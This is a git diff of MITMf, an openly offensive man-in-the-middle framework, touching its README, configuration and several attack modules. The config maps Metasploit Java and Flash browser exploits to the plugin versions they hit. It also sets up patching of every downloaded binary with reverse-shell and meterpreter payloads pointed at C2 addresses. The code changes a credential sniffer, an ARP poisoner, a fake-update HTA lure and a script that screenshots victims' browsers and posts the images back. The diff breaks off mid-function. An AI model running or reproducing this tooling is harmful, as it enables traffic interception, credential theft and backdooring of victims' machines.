diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..2fe828e --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,18 @@ +Contributing +============ +Hi! Thanks for taking the time and contributing to MITMf! Pull requests are always welcome! + +Submitting Issues +================= +If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com + +**Only submit issues if you find a bug in the latest version of the framework.** + +When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: + +- Full command string you used +- OS you're using +- Full error traceback, if any +- A packet capture if relevant + +Also, remember that Github markdown is your friend! \ No newline at end of file diff --git a/README.md b/README.md index f1a7b8d..ea81b85 100644 --- a/README.md +++ b/README.md @@ -10,12 +10,11 @@ Twitter: @byt3bl33d3r IRC on Freenode: #MITMf Email: byt3bl33d3r@gmail.com -**Update: Installation steps have changed! Please read the new [instructions](#installation)** - -**Before submitting issues, please read the [FAQ](#faq) and the appropriate [section](#submitting-issues).** +**Before submitting issues, please read the [FAQ](#faq) and [CONTRIBIUTING.md](#submitting-issues).** Available plugins ================= +- ```HTA Drive-By``` - Injects a fake update notification and prompts clients to download an HTA application - ```SMBtrap``` - Exploits the 'SMB Trap' vulnerability on connected clients - ```Screenshotter``` - Uses HTML5 Canvas to render an accurate screenshot of a clients browser - ```Responder``` - LLMNR, NBT-NS, WPAD and MDNS poisoner @@ -84,33 +83,20 @@ Installation If you're rocking Kali and want the latest version: - Clone this repository - Run the ```kali_setup.sh``` script +**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway** If you're rocking any other Linux distro: - Clone this repository - Run the ```other_setup.sh``` script -- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies - -Submitting Issues -================= -If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com - -**Only submit issues if you find a bug in the latest version of the framework.** - -When inevitably you do come across said *bug*, please open an issue and include at least the following in the description: - -- Full command string you used -- OS you're using -- Full error traceback, if any - -Also, remember that Github markdown is your friend! +- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies FAQ === - **Is Windows supported?** -- No +- No, it will never be supported - **Is OSX supported?** -- Currently no, although with some tweaking (which I'll probably get around to in the near future), it should be able to run perfectly on OSX. +- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket! - **I can't install package X because of an error!** - Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf. @@ -121,5 +107,5 @@ FAQ - **I get an ImportError when launching MITMf!** - Please read the [installation](#installation) guide. -- **Dude, no documentation/video tutorials?** -- Currently no but once the framework hits 1.0, I'll probably start writing/making some. +- **Dude, no documentation?** +- The docs are a work in progress at the moment, once the framework hits 1.0 I will push them to the wiki \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index 1747651..767fd9b 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -12,12 +12,22 @@ pass = beef [[Metasploit]] - - msfport = 8080 # Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcport = 55552 rpcpass = abc123 + [[MITMf-API]] + host = 127.0.0.1 + port = 9999 + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # Note: changing the port number might break certain plugins + + port = 80 + [[SMB]] # @@ -57,25 +67,6 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - [[HTTP]] - - # - # Here you can configure MITMf's internal HTTP server - # - - port = 80 - - #[[[Paths]]] - - # - # Here you can define the content to deliver - # - - # Format is urlpath = filesystem path (urlpath can be a regular expression) - - # ".*" = "/var/www" - # "/test" = "/var/www2" - [[DNS]] # @@ -93,7 +84,7 @@ nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.168.178.27 + *.thesprawl.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -135,9 +126,8 @@ [Spoof] [[DHCP]] - ip_pool = 192.168.2.10-50 + ip_pool = 192.168.1.10-50 subnet = 255.255.255.0 - dns_server = 192.168.2.20 #optional [Replace] @@ -306,81 +296,100 @@ # When adding java exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 # - [[multi/browser/java_rhino]] #Exploit's MSF path + msfport = 8080 # Port to start Metasploit's webserver which will host the exploits + + [[exploits]] - Type = PluginVuln #Can be set to PluginVuln, BrowserVuln - OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) + [[[multi/browser/java_rhino]]] #Exploit's MSF path + + Type = PluginVuln #Can be set to PluginVuln, BrowserVuln + OS = Any #Can be set to Any, Windows or Windows + version (e.g Windows 8.1) - Browser = Any #Can be set to Any, Chrome, Firefox, IE or browser + version (e.g IE 6) - Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) + Browser = Any #Can be set to Any, Chrome, Firefox, MSIE or browser + version (e.g IE 6) + Plugin = Java #Can be set to Java, Flash (if Type is BrowserVuln will be ignored) - #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) - PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 + #An exact list of the plugin versions affected (if Type is BrowserVuln will be ignored) + PluginVersions = 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.23, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.3, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0 - [[multi/browser/java_atomicreferencearray]] + [[[multi/browser/java_atomicreferencearray]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.5.0, 1.5.0.1, 1.5.0.10, 1.5.0.11, 1.5.0.12, 1.5.0.13, 1.5.0.14, 1.5.0.15, 1.5.0.16, 1.5.0.17, 1.5.0.18, 1.5.0.19, 1.5.0.2, 1.5.0.20, 1.5.0.21, 1.5.0.22, 1.5.0.23, 1.5.0.24, 1.5.0.25, 1.5.0.26, 1.5.0.27, 1.5.0.28, 1.5.0.29, 1.5.0.3, 1.5.0.31, 1.5.0.33, 1.5.0.4, 1.5.0.5, 1.5.0.6, 1.5.0.7, 1.5.0.8, 1.5.0.9, 1.6.0, 1.6.0.1, 1.6.0.10, 1.6.0.11, 1.6.0.12, 1.6.0.13, 1.6.0.14, 1.6.0.15, 1.6.0.16, 1.6.0.17, 1.6.0.18, 1.6.0.19, 1.6.0.2, 1.6.0.20, 1.6.0.21, 1.6.0.22, 1.6.0.24, 1.6.0.25, 1.6.0.26, 1.6.0.27, 1.6.0.29, 1.6.0.3, 1.6.0.30, 1.6.0.4, 1.6.0.5, 1.6.0.6, 1.6.0.7, 1.7.0, 1.7.0.1, 1.7.0.2 - [[multi/browser/java_jre17_jmxbean_2]] + [[[multi/browser/java_jre17_jmxbean_2]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - - [[multi/browser/java_jre17_reflection_types]] + [[[multi/browser/java_jre17_reflection_types]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 - - [[multi/browser/java_verifier_field_access]] + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + + [[[multi/browser/java_verifier_field_access]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.4.2.37, 1.5.0.35, 1.6.0.32, 1.7.0.4 - [[multi/browser/java_jre17_provider_skeleton]] + [[[multi/browser/java_jre17_provider_skeleton]]] - Type = PluginVuln - OS = Any - Browser = Any - Plugin = Java - PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Java + PluginVersions = 1.7.0, 1.7.0.1, 1.7.0.10, 1.7.0.11, 1.7.0.13, 1.7.0.15, 1.7.0.17, 1.7.0.2, 1.7.0.21, 1.7.0.3, 1.7.0.4, 1.7.0.5, 1.7.0.6, 1.7.0.7, 1.7.0.9 + [[[exploit/windows/browser/adobe_flash_pcre]]] - [[exploit/windows/browser/adobe_flash_pcre]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 11.2.202.440, 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296 + [[[exploit/windows/browser/adobe_flash_net_connection_confusion]]] - [[exploit/windows/browser/adobe_flash_net_connection_confusion]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 13.0.0.264, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 16.0.0.305 + [[[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]]] - [[exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array]] + Type = PluginVuln + OS = Windows + Browser = Any + Plugin = Flash + PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 - Type = PluginVuln - OS = Windows - Browser = Any - Plugin = Flash - PluginVersions = 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273,11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.400, 13.0.0.111, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.83, 14.0.0.110, 14.0.0.125, 14.0.0.137, 14.0.0.145, 14.0.0.176, 14.0.0.178, 14.0.0.179, 15.0.0.144 + [[[exploit/multi/browser/adobe_flash_opaque_background_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 11.1, 11.1.102.59, 11.1.102.62, 11.1.102.63, 11.1.111.44, 11.1.111.50, 11.1.111.54, 11.1.111.64, 11.1.111.73, 11.1.111.8, 11.1.115.34, 11.1.115.48, 11.1.115.54, 11.1.115.58, 11.1.115.59, 11.1.115.63, 11.1.115.69, 11.1.115.7, 11.1.115.81, 11.2.202.223, 11.2.202.228, 11.2.202.233, 11.2.202.235, 11.2.202.236, 11.2.202.238, 11.2.202.243, 11.2.202.251, 11.2.202.258, 11.2.202.261, 11.2.202.262, 11.2.202.270, 11.2.202.273, 11.2.202.275, 11.2.202.280, 11.2.202.285, 11.2.202.291, 11.2.202.297, 11.2.202.310, 11.2.202.327, 11.2.202.332, 11.2.202.335, 11.2.202.336, 11.2.202.341, 11.2.202.346, 11.2.202.350, 11.2.202.356, 11.2.202.359, 11.2.202.378, 11.2.202.394, 11.2.202.411, 11.2.202.424, 11.2.202.425, 11.2.202.429, 11.2.202.438, 11.2.202.440, 11.2.202.442, 11.2.202.451, 11.2.202.468, 13.0.0.182, 13.0.0.201, 13.0.0.206, 13.0.0.214, 13.0.0.223, 13.0.0.231, 13.0.0.241, 13.0.0.244, 13.0.0.250, 13.0.0.257, 13.0.0.258, 13.0.0.259, 13.0.0.260, 13.0.0.262, 13.0.0.264, 13.0.0.289, 13.0.0.292, 13.0.0.302, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 17.0.0.190, 18.0.0.160, 18.0.0.194, 18.0.0.203, 18.0.0.204 + + [[[exploit/multi/browser/adobe_flash_hacking_team_uaf]]] + + Type = PluginVuln + OS = Any + Browser = Any + Plugin = Flash + PluginVersions = 13.0.0.292, 14.0.0.125, 14.0.0.145, 14.0.0.176, 14.0.0.179, 15.0.0.152, 15.0.0.167, 15.0.0.189, 15.0.0.223, 15.0.0.239, 15.0.0.246, 16.0.0.235, 16.0.0.257, 16.0.0.287, 16.0.0.296, 17.0.0.134, 17.0.0.169, 17.0.0.188, 18.0.0.161, 18.0.0.194 [FilePwn] @@ -419,6 +428,28 @@ # # Tested on Kali-Linux. + [[hosts]] + #whitelist host/IP - patch these only. + #ALL is everything, use the blacklist to leave certain hosts/IPs out + + whitelist = ALL + + #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both. + + blacklist = , # a comma is null do not leave blank + + + [[keywords]] + #These checks look at the path of a url for keywords + + whitelist = ALL + + #For blacklist note binaries that you do not want to touch at all + + # Also applied in zip files + + blacklist = Tcpview.exe, skype.exe, .dll + [[ZIP]] # patchCount is the max number of files to patch in a zip file # After the max is reached it will bypass the rest of the files @@ -457,63 +488,77 @@ CompressedFiles = True #True/False - [[[[LinuxIntelx86]]]] - SHELL = reverse_shell_tcp # This is the BDF syntax - HOST = 192.168.1.168 # The C2 - PORT = 8888 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax - - [[[[LinuxIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 9999 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[LinuxIntelx86]]]] + SHELL = reverse_shell_tcp # This is the BDF syntax + HOST = 192.168.1.168 # The C2 + PORT = 8888 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x86/shell_reverse_tcp # MSF syntax + + [[[[LinuxIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 9999 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[WindowsIntelx86]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - # PATCH_METHOD = automatic - PATCH_METHOD = - HOST = 192.168.10.11 - PORT = 8443 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/meterpreter/reverse_tcp + [[[[WindowsIntelx86]]]] + PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic + HOST = 192.168.1.88 + PORT = 8444 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = False + PATCH_DLL = True + MSFPAYLOAD = windows/meterpreter/reverse_tcp - [[[[WindowsIntelx64]]]] - PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND - # PATCH_METHOD overwrites PATCH_TYPE with jump - # PATCH_METHOD = automatic - PATCH_METHOD = - HOST = 192.168.1.16 - PORT = 8088 - SHELL = iat_reverse_tcp_stager_threaded - SUPPLIED_SHELLCODE = None - ZERO_CERT = True - PATCH_DLL = False - MSFPAYLOAD = windows/x64/shell/reverse_tcp + [[[[WindowsIntelx64]]]] + PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND + # PATCH_METHOD overwrites PATCH_TYPE with jump + PATCH_METHOD = automatic + HOST = 192.168.1.16 + PORT = 8088 + SHELL = iat_reverse_tcp_stager_threaded + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_DLL = False + MSFPAYLOAD = windows/x64/shell/reverse_tcp - [[[[MachoIntelx86]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 4444 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[MachoIntelx86]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 4444 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp - [[[[MachoIntelx64]]]] - SHELL = reverse_shell_tcp - HOST = 192.168.1.16 - PORT = 5555 - SUPPLIED_SHELLCODE = None - MSFPAYLOAD = linux/x64/shell_reverse_tcp + [[[[MachoIntelx64]]]] + SHELL = reverse_shell_tcp + HOST = 192.168.1.16 + PORT = 5555 + SUPPLIED_SHELLCODE = None + MSFPAYLOAD = linux/x64/shell_reverse_tcp -[EvilGrade] + # Call out the difference for targets here as they differ from ALL + # These settings override the ALL settings + + [[[sysinternals.com]]] + LinuxType = None + WindowsType = x86 + CompressedFiles = False + + #inherits WindowsIntelx32 from ALL + [[[[WindowsIntelx86]]]] + PATCH_DLL = False + ZERO_CERT = True - [[NotePad++]] - host = 'notepad-plus-plus.org' - url = '/update/getDownloadUrl.php?version=' - data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe' \ No newline at end of file + [[[sourceforge.org]]] + WindowsType = x64 + CompressedFiles = False + + [[[[WindowsIntelx64]]]] + PATCH_DLL = False + + [[[[WindowsIntelx86]]]] + PATCH_DLL = False diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index 1ca45d8..eb4abf1 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -111,13 +111,10 @@ class ClientRequest(Request): log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - + elif self.urlMonitor.isSecureLink(client, url): log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) - + else: log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js index bf85b89..1eddb16 100644 --- a/core/javascript/plugindetect.js +++ b/core/javascript/plugindetect.js @@ -1260,6 +1260,12 @@ var PD = PluginDetect; //Set delimiter PD.getVersion("."); +//Get client Info +data = os_detect.getVersion() + +//Check to see if the UA is a lying bastard +data['ua_is_lying'] = os_detect.ua_is_lying + //Try to get plugin list var pluginList = []; if (navigator.plugins) { @@ -1270,30 +1276,24 @@ if (navigator.plugins) { } if (pluginList.length > 0){ - data['pluginlist'] = pluginList; + data['plugin_list'] = pluginList; } //Check if java plugin is installed and/or enabled -var javaEnabled = PD.isMinVersion('java'); -data['java'] = javaEnabled; +//var javaEnabled = PD.isMinVersion('java'); +//data['java'] = javaEnabled; //Get exact java plugin version var javaVersionString = PD.getVersion('java'); -data['java_v'] = javaVersionString; +data['java'] = javaVersionString; //Check if flash plugin is installed and/or enabled -var flashEnabled = PD.isMinVersion('flash'); -data['flash'] = flashEnabled; +//var flashEnabled = PD.isMinVersion('flash'); +//data['flash'] = flashEnabled; //Get exact flash plugin version var flashVersionString = PD.getVersion('flash'); -data['flash_v'] = flashVersionString; - -//Get client Info -data['client_info'] = os_detect.getVersion() - -//Check to see if the UA is a lying bastard -data['client_info']['ua_is_lying'] = os_detect.ua_is_lying +data['flash'] = flashVersionString; xhr.open("POST", "clientprfl", true); xhr.setRequestHeader("Content-Type", "application/json; charset=UTF-8"); diff --git a/core/javascript/screenshot.js b/core/javascript/screenshot.js index fe50ad7..e8b1a8e 100644 --- a/core/javascript/screenshot.js +++ b/core/javascript/screenshot.js @@ -1024,7 +1024,7 @@ function h2cRenderContext(width, height) { }; } _html2canvas.Parse = function (images, options) { - window.scroll(0,0); + //window.scroll(0,0); var element = (( options.elements === undefined ) ? document.body : options.elements[0]), // select body by default numDraws = 0, @@ -2871,8 +2871,10 @@ function grab() { xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); var x=encodeURIComponent(dat); xmlhttp.send(x); - } - }); + }, + width: screen.width, + height: screen.height + }); } setInterval(function(){grab()}, SECONDS_GO_HERE); \ No newline at end of file diff --git a/core/mitmfapi.py b/core/mitmfapi.py index 6413163..e43ff49 100644 --- a/core/mitmfapi.py +++ b/core/mitmfapi.py @@ -32,41 +32,37 @@ from core.sergioproxy.ProxyPlugins import ProxyPlugins app = Flask(__name__) -class mitmfapi: +class mitmfapi(ConfigWatcher): - _instance = None - host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host'] - port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port']) + __shared_state = {} - @staticmethod - def getInstance(): - if mitmfapi._instance is None: - mitmfapi._instance = mitmfapi() - - return mitmfapi._instance + def __init__(self): + self.__dict__ = self.__shared_state + self.host = self.config['MITMf']['MITMf-API']['host'] + self.port = int(self.config['MITMf']['MITMf-API']['port']) @app.route("/") def getPlugins(): - # example: http://127.0.0.1:9090/ + # example: http://127.0.0.1:9999/ pdict = {} - #print ProxyPlugins.getInstance().plist - for activated_plugin in ProxyPlugins.getInstance().plist: + #print ProxyPlugins().plugin_list + for activated_plugin in ProxyPlugins().plugin_list: pdict[activated_plugin.name] = True - #print ProxyPlugins.getInstance().plist_all - for plugin in ProxyPlugins.getInstance().plist_all: + #print ProxyPlugins().all_plugins + for plugin in ProxyPlugins().all_plugins: if plugin.name not in pdict: pdict[plugin.name] = False - #print ProxyPlugins.getInstance().pmthds + #print ProxyPlugins().pmthds return json.dumps(pdict) @app.route("/") def getPluginStatus(plugin): # example: http://127.0.0.1:9090/cachekill - for p in ProxyPlugins.getInstance().plist: + for p in ProxyPlugins().plugin_list: if plugin == p.name: return json.dumps("1") @@ -77,15 +73,15 @@ class mitmfapi: # example: http://127.0.0.1:9090/cachekill/1 # enabled # example: http://127.0.0.1:9090/cachekill/0 # disabled if status == "1": - for p in ProxyPlugins.getInstance().plist_all: - if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist): - ProxyPlugins.getInstance().addPlugin(p) + for p in ProxyPlugins().all_plugins: + if (p.name == plugin) and (p not in ProxyPlugins().plugin_list): + ProxyPlugins().addPlugin(p) return json.dumps({"plugin": plugin, "response": "success"}) elif status == "0": - for p in ProxyPlugins.getInstance().plist: + for p in ProxyPlugins().plugin_list: if p.name == plugin: - ProxyPlugins.getInstance().removePlugin(p) + ProxyPlugins().removePlugin(p) return json.dumps({"plugin": plugin, "response": "success"}) return json.dumps({"plugin": plugin, "response": "failed"}) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 58e34e5..1d5c7b3 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -5,6 +5,7 @@ import base64 import threading import binascii +from core.logger import logger from os import geteuid, devnull from sys import exit from urllib import unquote @@ -16,7 +17,8 @@ from urllib import unquote from scapy.all import * conf.verb=0 -log = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("NetCreds", formatter) DN = open(devnull, 'w') pkt_frag_loads = OrderedDict() @@ -43,11 +45,11 @@ class NetCreds: version = "1.0" - def sniffer(self, interface): - sniff(iface=interface, prn=pkt_parser, store=0) + def sniffer(self, interface, ip): + sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(ip), store=0) - def start(self, interface): - t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface,)) + def start(self, interface, ip): + t = threading.Thread(name='NetCreds', target=self.sniffer, args=(interface, ip,)) t.setDaemon(True) t.start() @@ -897,7 +899,7 @@ def printer(src_ip_port, dst_ip_port, msg): print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg) # All credentials will have dst_ip_port, URLs will not - log.info("[NetCreds] {}".format(print_str)) + log.info("{}".format(print_str)) else: print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg) - log.info("[NetCreds] {}".format(print_str)) + log.info("{}".format(print_str)) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index a027f45..1a937a0 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -16,15 +16,12 @@ # USA # -import threading import logging - -from traceback import print_exc +import threading from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from core.logger import logger -from core.utils import set_ip_forwarding, iptables from time import sleep -from scapy.all import ARP, send, sendp, sniff, getmacbyip +from scapy.all import * formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("ARPpoisoner", formatter) @@ -36,78 +33,101 @@ class ARPpoisoner: version = '0.1' def __init__(self, options): - try: self.gatewayip = str(IPAddress(options.gateway)) except AddrFormatError as e: sys.exit("Specified an invalid IP address as gateway") self.gatewaymac = getmacbyip(options.gateway) - self.targets = self.get_target_range(options.targets) + if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address") + + self.ignore = self.get_range(options.ignore) + if self.ignore is None: 